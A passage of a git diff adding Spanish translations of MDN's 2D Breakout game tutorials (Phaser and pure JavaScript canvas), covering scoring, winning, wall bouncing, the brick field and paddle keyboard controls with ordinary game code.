+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p>Puedes verificar el código final de esta lección en la demostración en vivo a continuación, y jugar con la misma para entender mejor como trabaja:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/6a64vecL/","","400")}}</p>
+
+<h2 id="Pasos_siguientes">Pasos siguientes</h2>
+
+<p>Ahora que hemos configurado el escalamiento de nuestro juego, continuemos con la tercera lección y descubramos cómo <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Load_the_assets_and_print_them_on_screen">cargar los assets e imprimirlos en la pantalla</a>.</p>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Initialize_the_framework", "Games/Workflows/2D_Breakout_game_Phaser/Load_the_assets_and_print_them_on_screen")}}</p>
diff --git a/files/es/games/tutorials/2d_breakout_game_phaser/the_score/index.html b/files/es/games/tutorials/2d_breakout_game_phaser/the_score/index.html
new file mode 100644
index 0000000000..77c688cc77
--- /dev/null
+++ b/files/es/games/tutorials/2d_breakout_game_phaser/the_score/index.html
@@ -0,0 +1,78 @@
+---
+title: The score
+slug: Games/Tutorials/2D_breakout_game_Phaser/The_score
+tags:
+  - 2D
+  - JavaScript
+  - Lienzo
+  - Phaser
+  - Principiantes
+  - Puntuación
+  - Tutorial
+  - juegos
+translation_of: Games/Tutorials/2D_breakout_game_Phaser/The_score
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Collision_detection", "Games/Workflows/2D_Breakout_game_Phaser/Win_the_game")}}</p>
+
+<div class="summary">
+<p>Este es el paso <strong>11</strong><strong>º </strong>de 16 del tutorial de <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser">Gamedev Phaser</a>. Puedes encontrar el código fuente tal y como quedaría al completar la lección en <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit/blob/gh-pages/demos/lesson11.html">Gamedev-Phaser-Content-Kit/demos/lesson11.html</a>.</p>
+</div>
+
+<p><span class="seoSummary">Tener puntuación puede hacer el juego más interesante — puedes intentar batir tu mejor puntuación, a la de tus amigos. En este artículo añadiremos un sistema de puntuación al juego.</span></p>
+
+<p>Usaremos una variable separada para almacenar la puntuación y el método  <code>text()</code> de Phaser para mostrarla en la pantalla.</p>
+
+<h2 id="Nuevas_variables">Nuevas variables</h2>
+
+<p>Añade dos nuevas variables justo después de la definición de las anteriores:</p>
+
+<pre class="brush: js">// ...
+var scoreText;
+var score = 0;
+</pre>
+
+<h2 id="Añadir_el_texto_de_puntuación_a_la_pantalla_del_juego">Añadir el texto de puntuación a la pantalla del juego</h2>
+
+<p>Ahora añade esta línea al final de la función <code>create()</code>:</p>
+
+<pre class="brush: js">scoreText = game.add.text(5, 5, 'Points: 0', { font: '18px Arial', fill: '#0095DD' });
+</pre>
+
+<p>El método <code>text()</code> puede tomar cuatro parámetros:</p>
+
+<ul>
+ <li>Las coordenadas x e y dónde escribir el texto.</li>
+ <li>El texto que se mostrará.</li>
+ <li>El estilo de la fuente con la que se representará el texto.</li>
+</ul>
+
+<p>El último parámetro se parece mucho a los estilos de CSS. En nuestro caso, el texto de la puntuación será azul, con un tamaño de 18 pixeles y usará como estilo de fuente Arial.</p>
+
+<h2 id="Actualizar_el_juego_cuando_los_ladrillos_se_han_destruido">Actualizar el juego cuando los ladrillos se han destruido</h2>
+
+<p>Incrementaremos el número de puntos cada vez que la pelota golpee en un ladrillo y actualizaremos el <code>scoreText</code> para mostrar la puntuación actual. Esto, lo podremos hacer usando el método <code>setText()</code>  — añade las dos siguientes líneas a la función<code> ballHitBrick()</code>:</p>
+
+<pre class="brush: js">function ballHitBrick(ball, brick) {
+    brick.kill();
+    score += 10;
+    scoreText.setText('Points: '+score);
+}
+</pre>
+
+<p>Eso es todo por ahora — recarga tu <code>index.html</code> y comprueba que la puntuación se actualiza por cada golpe al ladrillo.</p>
+
+<h2 id="Compare_su_código">Compare su código</h2>
+
+<p>Puede comprobar el código terminado de esta lección en la demo que aparece a continuación, y jugar para entender mejor cómo funciona el juego:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/n8o6rhrf/","","400")}}</p>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<p>Ya tenemos un sistema de puntuación, pero para qué sirve jugar y mantener la puntuación si no se puede ganar.  Veremos cómo podemos añadir la victoria, permitiendonos así ganar el juego.</p>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Collision_detection", "Games/Workflows/2D_Breakout_game_Phaser/Win_the_game")}}</p>
diff --git a/files/es/games/tutorials/2d_breakout_game_phaser/win_the_game/index.html b/files/es/games/tutorials/2d_breakout_game_phaser/win_the_game/index.html
new file mode 100644
index 0000000000..06b45f5b2b
--- /dev/null
+++ b/files/es/games/tutorials/2d_breakout_game_phaser/win_the_game/index.html
@@ -0,0 +1,60 @@
+---
+title: Win the game
+slug: Games/Tutorials/2D_breakout_game_Phaser/Win_the_game
+tags:
+  - 2D
+  - JavaS
+  - Lienzo
+  - Phaser
+  - Principiante
+  - Tutorial
+  - ganando
+translation_of: Games/Tutorials/2D_breakout_game_Phaser/Win_the_game
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/The_score", "Games/Workflows/2D_Breakout_game_Phaser/Extra_lives")}}</p>
+
+<div class="summary">
+<p>Este es el paso <strong>12º </strong>del tutorial 16 de <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser">Gamedev Phaser</a>. Puedes encontrar el código fuente tal y como queda al completar el tutorial en <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit/blob/gh-pages/demos/lesson12.html">Gamedev-Phaser-Content-Kit/demos/lesson12.html</a>.</p>
+</div>
+
+<p><span class="seoSummary">Implementar las victorias en nuestro juego es fácil: si destruyes todos los ladrillos, ganas.</span></p>
+
+<h2 id="¿Cómo_ganar">¿Cómo ganar?</h2>
+
+<p>Añade el siguiente código a la función <code>ballHitBrick()</code>:</p>
+
+<pre class="brush: js">function ballHitBrick(ball, brick) {
+    brick.kill();
+    score += 10;
+    scoreText.setText('Points: '+score);
+
+    var count_alive = 0;
+    for (i = 0; i &lt; bricks.children.length; i++) {
+      if (bricks.children[i].alive == true) {
+        count_alive++;
+      }
+    }
+    if (count_alive == 0) {
+      alert('You won the game, congratulations!');
+      location.reload();
+    }
+}
+</pre>
+
+<p>Recorremos los ladrillos del grupo usando <code>bricks.children</code>, verificando la vida de cada uno con el método <code>.alive() </code>. Si no quedan más ladrillos con vida, mostramos un mensaje de victoria, reiniciando el juego una vez que la alerta desaparezca.</p>
+
+<h2 id="Compare_su_código">Compare su código</h2>
+
+<p>Puedes comprobar el código terminado de esta lección en la siguiente demo, y jugar para entender mejor cómo funciona:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/u8waa4Lx/1/","","400")}}</p>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<p>Ganar y perder están implementados, por lo que la jugabilidad de nuestro juego está terminada. Ahora añadiremos algo extra — vamos a dar al jugador tres vidas en lugar de una.</p>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/The_score", "Games/Workflows/2D_Breakout_game_Phaser/Extra_lives")}}</p>
diff --git a/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/bounce_off_the_walls/index.html b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/bounce_off_the_walls/index.html
new file mode 100644
index 0000000000..d168aa0102
--- /dev/null
+++ b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/bounce_off_the_walls/index.html
@@ -0,0 +1,101 @@
+---
+title: Rebota en las paredes
+slug: Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Bounce_off_the_walls
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls
+---
+<div>{{GamesSidebar}}</div><div>
+<p>{{IncludeSubnav("/es/docs/Games")}}</p>
+</div>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Mueve_la_bola", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Control_pala_y_teclado")}}</p>
+
+<div class="summary">
+<p>Este es el tercer paso de 10 del  <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">tutorial Canvas para el desarrollo de juegos</a>. Puedes encontrar el código fuente y pegarle un vistazo después de completar esta lección <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson03.html">Gamedev-Canvas-workshop/lesson3.html</a>.</p>
+</div>
+
+<p><span class="seoSummary">Es agradable ver nuestra bola moviéndose, pero desaparece rápidamente de la pantalla, limitando la diversión que podemos tener con ella. Para superar esto, implementaremos una detección de colisión muy simple (que se explicará <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Collision_detection">más adelante</a> con más detalle) para hacer que la pelota rebote en los cuatro bordes del Canvas.</span></p>
+
+<h2 id="Detección_de_colisión_simple">Detección de colisión simple</h2>
+
+<p>Para detectar la colisión verificamos si la bola está tocando (chocando con) la pared y si es así, cambiaremos la dirección de su movimiento en consecuencia.</p>
+
+<p>Para facilitar los cálculos, definamos una variable llamada <code>ballRadius</code> que mantendrá el radio del círculo dibujado y se utilizará para los cálculos. Añade esto a tu código, en algún lugar por debajo de las declaraciones de variables existentes:</p>
+
+<pre class="brush: js">var ballRadius = 10;</pre>
+
+<p>Ahora actualice la línea que dibuja la bola dentro de la funcion drawBall() a esto:</p>
+
+<pre class="brush: js">ctx.arc(x, y, ballRadius, 0, Math.PI*2);</pre>
+
+<h3 id="Rebotando_arriba_y_abajo">Rebotando arriba y abajo</h3>
+
+<p>Hay cuatro paredes para rebotar la pelota - vamos a centrarnos en la de arriba en primer lugar. Tendremos que comprobar, en cada fotograma, si la pelota está tocando el borde superior del Canvas - si es así, invertiremos el movimiento de la bola para que empiece a moverse en la dirección opuesta y se mantenga dentro de los límites visibles. Recordando que el sistema de coordenadas comienza desde la parte superior izquierda, podemos llegar a algo como esto:</p>
+
+<pre class="brush: js">if(y + dy &lt; 0) {
+    dy = -dy;
+}</pre>
+
+<p>Si el valor de y de la posición de la bola es menor que cero, cambie la dirección del movimiento en el eje y, estableciéndolo igual a sí mismo, invertido. Si la pelota se movía hacia arriba con una velocidad de 2 píxeles por fotograma, ahora se moverá "arriba" con una velocidad de -2 píxeles, lo que en realidad equivale a bajar a una velocidad de 2 píxeles por fotograma.</p>
+
+<p>El código anterior se ocuparía de que la pelota rebote desde el borde superior, así que ahora vamos a pensar en el borde inferior:</p>
+
+<pre class="brush: js">if(y + dy &gt; canvas.height) {
+    dy = -dy;
+}</pre>
+
+<p>Si la posición y de la pelota es mayor que la altura del canvas (recuerde que contamos los valores y desde la parte superior izquierda, de modo que el borde superior empieza en 0 y el borde inferior está en 480 píxeles, la altura del canvas), entonces rebota del borde inferior invirtiendo el movimiento del eje y como antes.</p>
+
+<p>Podríamos fusionar esas dos sentencias en una para ahorrar código:</p>
+
+<pre class="brush: js">if(y + dy &gt; canvas.height || y + dy &lt; 0) {
+    dy = -dy;
+}</pre>
+
+<p>Si cualquiera de las dos afirmaciones es verdadera, invierte el movimiento de la pelota.</p>
+
+<h3 id="Rebotando_en_la_izquierda_y_derecha">Rebotando en la izquierda y derecha</h3>
+
+<p>Tenemos el borde superior e inferior cubiertos, así que pensemos en los de izquierda y derecha. Es muy similar en realidad, todo lo que tienes que hacer es repetir las declaraciones de x en lugar de y:</p>
+
+<pre class="brush: js">if(x + dx &gt; canvas.width || x + dx &lt; 0) {
+    dx = -dx;
+}
+
+if(y + dy &gt; canvas.height || y + dy &lt; 0) {
+    dy = -dy;
+}</pre>
+
+<p>En este punto, debe insertar el bloque de código anterior en la función draw(), justo antes de la llave de cierre.</p>
+
+<h3 id="¡La_pelota_sigue_desapareciendo_en_la_pared!">¡La pelota sigue desapareciendo en la pared!</h3>
+
+<p>Prueba tu código en este punto, y te quedarás impresionado - ¡ahora tenemos una pelota que rebotó en los cuatro bordes del canvas! Pero tenemos otro problema sin embargo - cuando la bola golpea cada pared se hunde en ella levemente antes de cambiar la dirección:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10432/ball-in-wall.png" style="display: block; height: 320px; margin: 0px auto; width: 480px;"></p>
+
+<p>Esto es porque estamos calculando el punto de colisión de la pared y el centro de la bola, mientras que deberíamos hacerlo por su circunferencia. La bola debe rebotar justo después de que toca la pared, no cuando ya está a medio camino en la pared, así que vamos a ajustar nuestras declaraciones un poco para incluir eso. Actualice el último código que agregó, a esto:</p>
+
+<pre class="brush: js">if(x + dx &gt; canvas.width-ballRadius || x + dx &lt; ballRadius) {
+    dx = -dx;
+}
+if(y + dy &gt; canvas.height-ballRadius || y + dy &lt; ballRadius) {
+    dy = -dy;
+}</pre>
+
+<p>Cuando la distancia entre el centro de la bola y el borde de la pared es exactamente igual que el radio de la pelota, cambiará la dirección del movimiento. Restando el radio de un ancho del eje y añadiéndolo al otro nos da la impresión de una adecuada detección de colisiones - la pelota rebota de las paredes como debería hacerlo.</p>
+
+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p>Chequea el código acabado para esta parte con el tuyo, y juega:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/redj37dc/","","370")}}</p>
+
+<div class="note">
+<p><strong>Ejercicio</strong>: cambia el color de la bola a un color al azar, cada vez que golpea una pared.</p>
+</div>
+
+<h2 id="Siguientes_pasos">Siguientes pasos</h2>
+
+<p>Ahora hemos llegado al punto donde nuestra pelota se mueve y permanece en el tablero de juego. En el capítulo cuarto, veremos la implementación del control de una pala - vea <a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Control_pala_y_teclado">Control de Pala y teclado</a>.</p>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Mueve_la_bola", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Control_pala_y_teclado")}}</p>
diff --git a/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/construye_grupo_bloques/index.html b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/construye_grupo_bloques/index.html
new file mode 100644
index 0000000000..99c944764b
--- /dev/null
+++ b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/construye_grupo_bloques/index.html
@@ -0,0 +1,126 @@
+---
+title: Construye el muro de ladrillos
+slug: Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Construye_grupo_bloques
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Build_the_brick_field
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/es/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Fin_del_juego", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Deteccion_colisiones")}}</p>
+
+<div class="summary">
+<p>Este es el sexto<strong> paso de 10 del</strong> <a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro">Tutorial del Lienzo (Canvas) para desarrollar juegos (Gamedev Canvas Tutorial)</a>. Puedes encontrar el código fuente como debería quedar tras completar esta lección en <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson06.html">Gamedev-Canvas-workshop/lesson6.html</a>.</p>
+</div>
+
+<p>Hemos cambiado la mecánica del juego y ahora ya podemos perder.<span class="seoSummary"> Esto es genial porque significa que el juego finalmente se comporta como un juego. Sin embargo, pronto resultará aburrido si todo lo que puedes conseguir es hacer rebotar la pelota en las paredes y en la pala. Lo que el juego necesitamos es romper ladrillos con la bola. Ahora vamos a dibujar los ladrillos.</span></p>
+
+<h2 id="Declarar_e_inicializar_las_variables_de_los_ladrillos">Declarar e inicializar las variables de los ladrillos</h2>
+
+<p>El propósito principal de esta lección consiste en escribir unas pocas líneas de código para los ladrillos, utilizando un bucle anidado que recorra una matriz bidimensional. Pero, antes, necesitamos preparar unas variables que definan la información sobre los ladrillos, como su ancho y alto, filas y columnas, etc. Añade estas líneas a tu programa, debajo de las otras variables que has definido antes:</p>
+
+<pre class="brush: js">var brickRowCount = 3;
+var brickColumnCount = 5;
+var brickWidth = 75;
+var brickHeight = 20;
+var brickPadding = 10;
+var brickOffsetTop = 30;
+var brickOffsetLeft = 30;</pre>
+
+<p>Aquí hemos definido el número de filas (Row) y columnas (Column) de ladrillos, su ancho (Width) y alto (Height), el hueco entre los ladrillos para que no se toquen (Padding), y un margen superior (Top) e izquierdo (Left) para que no se dibujen tocando los bordes.</p>
+
+<p>Guardaremos nuestros ladrillos en una matriz bidimensional que contendrá las columnas (c) de los ladrillos. Cada columna contendrá, a su vez, toda la fila (r) de ladrillos. Cada ladrillo se va a representar con un objeto con las posiciones "x" e "y" en las que se dibujará. Añade esto detrás de las definiciones de las variables:</p>
+
+<pre class="brush: js">var bricks = [];
+for(c=0; c&lt;brickColumnCount; c++) {
+    bricks[c] = [];
+    for(r=0; r&lt;brickRowCount; r++) {
+        bricks[c][r] = { x: 0, y: 0 };
+    }
+}</pre>
+
+<p>El código anterior pasará por las filas y las columnas y creará los ladrillos. TEN EN CUENTA que esos objetos que representan a los ladrillos también se utilizarán para detectar colisiones más adelante.</p>
+
+<p>Por si no lo terminas de entender... bricks[0][0] es el primer ladrillo (columna 0, fila 0) y se dibujará en "x" 0 e "y" 0. El siguiente ladrillo será el brick[0][1] (columna 0, fila 1) y se dibujará también en (0,0). Así, continuaremos hasta el final de la primera columna, que será el ladrillo bricks[0][2] porque hay 3 filas, de la 0 a la 2. Terminará así el bucle de dentro y seguirá el de fuera, valiendo ahora la "c" 1. Seguiremos recorriendo bricks[] hasta llegar a bricks[2][4], que es el último ladrillo.</p>
+
+<h2 id="Dibujar_los_bloques">Dibujar los bloques</h2>
+
+<p>Ahora vamos a crear una función para recorrer todos los bloques de la matriz y dibujarlos en la pantalla:</p>
+
+<pre class="brush: js">function drawBricks() {
+    for(c=0; c&lt;brickColumnCount; c++) {
+        for(r=0; r&lt;brickRowCount; r++) {
+            bricks[c][r].x = 0;
+            bricks[c][r].y = 0;
+            ctx.beginPath();
+            ctx.rect(0, 0, brickWidth, brickHeight);
+            ctx.fillStyle = "#0095DD";
+            ctx.fill();
+            ctx.closePath();
+        }
+    }
+}
+</pre>
+
+<p>Viene a ser lo mismo de antes, sólo que hemos añadido ctx.rect() para dibujar un rectángulo por cada ladrillo, además de otras llamadas a funciones para que, efectivamente, se dibuje el rectángulo.</p>
+
+<p>Cada ladrillo se dibujará en la posición (0, 0), tendrá un ancho brickWidth y un alto de brickHeight.</p>
+
+<p>Estupendo pero... ¡estamos dibujando todos los ladrillos en el mismo sitio! ¡Eso no puede ser!</p>
+
+<p>Vamos a calcular en qué posición "x" e "y" se tiene que dibujar cada ladrillo así:</p>
+
+<pre class="brush: js">var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
+var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
+</pre>
+
+<p>El primer ladrillo se dibujará arriba a la izquierda, concretamente en (brickoffsetLeft, brickOffsetTop), porque c y r valen 0.</p>
+
+<p>El siguiente ladrillo (columna 0, fila 1) se dibujará más abajo.</p>
+
+<p>Intenta hacer tú mismo los cálculos y verás cómo cada ladrillo de la misma columna se dibujará más abajo o más arriba según en qué fila se encuentre.</p>
+
+<p>También verás cómo cada ladrillo de la misma fila se dibujará más a la izquierda o a la derecha según en qué columna se encuentre.</p>
+
+<p>Vamos a terminar la función drawBricks() para que quede así:</p>
+
+<pre class="brush: js">function drawBricks() {
+    for(c=0; c&lt;brickColumnCount; c++) {
+        for(r=0; r&lt;brickRowCount; r++) {
+            var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
+            var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
+            bricks[c][r].x = brickX;
+            bricks[c][r].y = brickY;
+            ctx.beginPath();
+            ctx.rect(brickX, brickY, brickWidth, brickHeight);
+            ctx.fillStyle = "#0095DD";
+            ctx.fill();
+            ctx.closePath();
+        }
+    }
+}</pre>
+
+<h2 id="Dibujar_los_bloques_(ahora_sí)">Dibujar los bloques (ahora sí)</h2>
+
+<p>Lo estamos haciendo muy bien, pero si has probado te habrás dado cuenta de que no se dibuja nada. ¿Qué es lo que falla?</p>
+
+<p>Pues, sencillamente, que tenemos definida la función drawBricks() pero no la llamamos desde ningún sitio.</p>
+
+<p>Añade drawBricks() dentro de draw(), justo antes de drawBall ():</p>
+
+<pre class="brush: js">drawBricks();
+</pre>
+
+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p>Compara tu código con este:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/kundan333/myd4vbwg/2/","","320")}}</p>
+
+<div class="note">
+<p>Ejercicio: Prueba a cambiar el número de bloques por fila o columna, o sus posiciones (utiliza las variables que definiste al principio de este capítulo).</p>
+</div>
+
+<h2 id="Pasos_siguientes">Pasos siguientes</h2>
+
+<p>¡Así que ahora tenemos ladrillos! Un gran avance pero... la pelota no los rompe, simplemente los atraviesa. En el siguiente capítulo lo arreglaremos: <a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Deteccion_colisiones">Detección de colisiones</a>.</p>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Fin_del_juego", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Deteccion_colisiones")}}</p>
diff --git a/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/control_pala_y_teclado/index.html b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/control_pala_y_teclado/index.html
new file mode 100644
index 0000000000..81403423c7
--- /dev/null
+++ b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/control_pala_y_teclado/index.html
@@ -0,0 +1,130 @@
+---
+title: Control de la pala y el teclado
+slug: Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Control_pala_y_teclado
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/es/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Bounce_off_the_walls", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Fin_del_juego")}}</p>
+
+<div class="summary">
+<p>Este es el cuarto de los 10 pasos del <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Tutorial de Canvas para el desarrollo de juegos</a>. Puedes encontrar el código fuente como debería quedar después de completar la lección en <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson04.html">Gamedev-Canvas-workshop/lesson4.html</a>.</p>
+</div>
+
+<p> </p>
+
+<p><span class="seoSummary">La bola está rebotando en las paredes libremente y puedes estar mirándola toda la vida, pero, ahora mismo, no hay interactividad. ¡No es un juego si no puedes controlarlo! Vamos a añadirle la interacción del usuario: una paleta.</span></p>
+
+<h2 id="Definir_una_paleta_para_golpear_la_bola">Definir una paleta para golpear la bola</h2>
+
+<p>Necesitamos una paleta para golpear la bola. Empezamos por definir variables para conseguirlo. Añade las variables siguientes en la parte de arriba de tu código, junto a las que ya tenías:</p>
+
+<pre class="brush: js">var paddleHeight = 10;
+var paddleWidth = 75;
+var paddleX = (canvas.width-paddleWidth)/2;</pre>
+
+<p>paddleHeight servirá para definir la altura de la paleta, paddleWidth la anchura y paddleX la posición en el eje X en la que empieza a dibujarse. Definimos una función que dibujará la paleta en la pantalla. Añade este código justo después de la función <code>drawBall()</code>:</p>
+
+<pre class="brush: js">function drawPaddle() {
+    ctx.beginPath();
+    ctx.rect(paddleX, canvas.height-paddleHeight, paddleWidth, paddleHeight);
+    ctx.fillStyle = "#0095DD";
+    ctx.fill();
+    ctx.closePath();
+}</pre>
+
+<h2 id="Permitir_que_el_usuario_controle_la_paleta">Permitir que el usuario controle la paleta</h2>
+
+<p>Podemos dibujar la paleta donde queramos, pero debería responder a las acciones del usuario. Ha llegado la hora de implementar algunos controles de teclado. Vamos a necesitar:</p>
+
+<ul>
+ <li>Dos variables para guardar la información sobre si se ha pulsado el botón izquierdo o el derecho.</li>
+ <li>Dos funciones (event listeners) que respondan a los eventos <code>keydown</code> y <code>keyup</code> (pulsar tecla, liberar tecla). Queremos que se ejecute algún código para manejar la paleta cuando se pulsen los botones.</li>
+ <li>Dos funciones que manejen los eventos <code>keydown</code> y <code>keyup</code> que se ejecutarán cuando se pulsen los botones.</li>
+ <li>La habilidad de mover la paleta a la izquierda y a la derecha</li>
+</ul>
+
+<p>Empezaremos por definir las variables que nos dirán si se ha pulsado un botón. Añade estas líneas donde has definido las demás variables:</p>
+
+<pre class="brush: js">var rightPressed = false;
+var leftPressed = false;</pre>
+
+<p>Las dos las inicializamos con el valor <code>false</code> porque al principio no están pulsados los botones. Para "escuchar" las pulsaciones de las teclas necesitamos definir dos "escuchadores de eventos" (event listeners). Añade las líneas siguientes justo antes de <code>setInterval()</code> al final de tu código:</p>
+
+<pre class="brush: js">document.addEventListener("keydown", keyDownHandler, false);
+document.addEventListener("keyup", keyUpHandler, false);</pre>
+
+<p>Cuando ocurra el evento <code>keydown</code> al pulsar cualquier tecla del teclado, la función <code>keyDownHandler()</code> se ejecutará. Cuando se liberará la tecla pulsada, se ejecutará la función <code>keyUpHandler()</code>. Añade esto después de las líneas del <code>addEventListener()</code> que acababas de escribir:</p>
+
+<pre class="brush: js">function keyDownHandler(e) {
+    if(e.keyCode == 39) {
+        rightPressed = true;
+    }
+    else if(e.keyCode == 37) {
+        leftPressed = true;
+    }
+}
+
+function keyUpHandler(e) {
+    if(e.keyCode == 39) {
+        rightPressed = false;
+    }
+    else if(e.keyCode == 37) {
+        leftPressed = false;
+    }
+}</pre>
+
+<p>Cuando pulsamos una tecla se ejecuta keyDownHandler(e), que pone en la variable "e" los datos que necesitamos. Efectivamente, e.keyCode nos va a decir qué tecla se ha pulsado. Si vale 37 es porque se ha pulsado la "flecha izquierda" del teclado. El código 39 representa a la "flecha derecha".</p>
+
+<p>Pues bien, cuando se pulsará la "flecha izquierda" pondremos leftPressed a true.</p>
+
+<p>Cuando se liberará la "flecha izquierda" pondremos leftPressed a false.</p>
+
+<p>De igual forma procederá el programa con la "flecha derecha", detectando el código 39 y dando los valores oportunos a la variable rightPressed.</p>
+
+<h3 id="La_lógica_del_movimiento_de_la_paleta">La lógica del movimiento de la paleta</h3>
+
+<p>Ya tenemos las variables que contienen la información sobre las teclas pulsadas, los escuchadores de eventos y las funciones relevantes. Ahora vamos a ocuparnos del código que utilizará todo eso y moverá la paleta en la pantalla. Dentro de la función <code>draw()</code> comprobaremos si está pulsada la flecha izquierda o la derecha cada vez que se dibuje un fotograma. Nuestro código podría tener este aspecto:</p>
+
+<pre class="brush: js">if(rightPressed) {
+    paddleX += 7;
+}
+else if(leftPressed) {
+    paddleX -= 7;
+}</pre>
+
+<p>Si se pulsa la flecha izquierda, la paleta se moverá 7 píxeles a la izquierda. Si se pulsa la flecha derecha, se moverá 7 píxeles a la derecha. Aunque esto funciona bien, la paleta desaparece en los laterales del terreno de juego si mantenemos pulsada una tecla demasiado tiempo. Podemos mejorar esto para que se mueva dentro de los límites del canvas, cambiando el código así:</p>
+
+<pre class="brush: js">if(rightPressed &amp;&amp; paddleX &lt; canvas.width-paddleWidth) {
+    paddleX += 7;
+}
+else if(leftPressed &amp;&amp; paddleX &gt; 0) {
+    paddleX -= 7;
+}</pre>
+
+<p>La posición paddleX que estamos utilizando variará entre 0 para la lado izquierdo y <code style="font-style: normal; font-weight: normal;">canvas.width-paddleWidth</code> para el lado derecho, que es justo lo que queremos.</p>
+
+<p>Añade el código anterior dentro de la función <code>draw(), al final</code>, justo antes de la llave que cierra.</p>
+
+<p>Lo único que nos falta por hacer es llamar a la función <code>drawPaddle()</code> desde dentro de la función <code>draw()</code> para que dibuje la paleta dentro en la pantalla. Añade la línea siguiente dentro de <code>draw(), justo antes de la línea que llama a la función</code> <code>drawBall()</code>:</p>
+
+<pre class="brush: js">drawPaddle();
+</pre>
+
+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p>Aquí está el código que funciona, para que lo compares con el tuyo:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/tgn3zscj/","","320")}}</p>
+
+<div class="note">
+<p><strong>Ejercicio</strong>: haz que la paleta se mueva más deprisa o más despacio, o cambia su tamaño.</p>
+</div>
+
+<h2 id="Pasos_siguientes">Pasos siguientes</h2>
+
+<p>Ahora mismo tenemos algo que parece un juego. El único problema es que todo lo que puedes hacer es golpear la bola con la paleta toda la vida (en realidad, ni siquiera la golpeas). Todo esto cambiará en el quinto capítulo, <a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Fin_del_juego">Fin del juego</a>, cuando añadiremos un estado de "Game Over".</p>
+
+<div> </div>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Bounce_off_the_walls", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Fin_del_juego")}}</p>
diff --git a/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/controles_raton/index.html b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/controles_raton/index.html
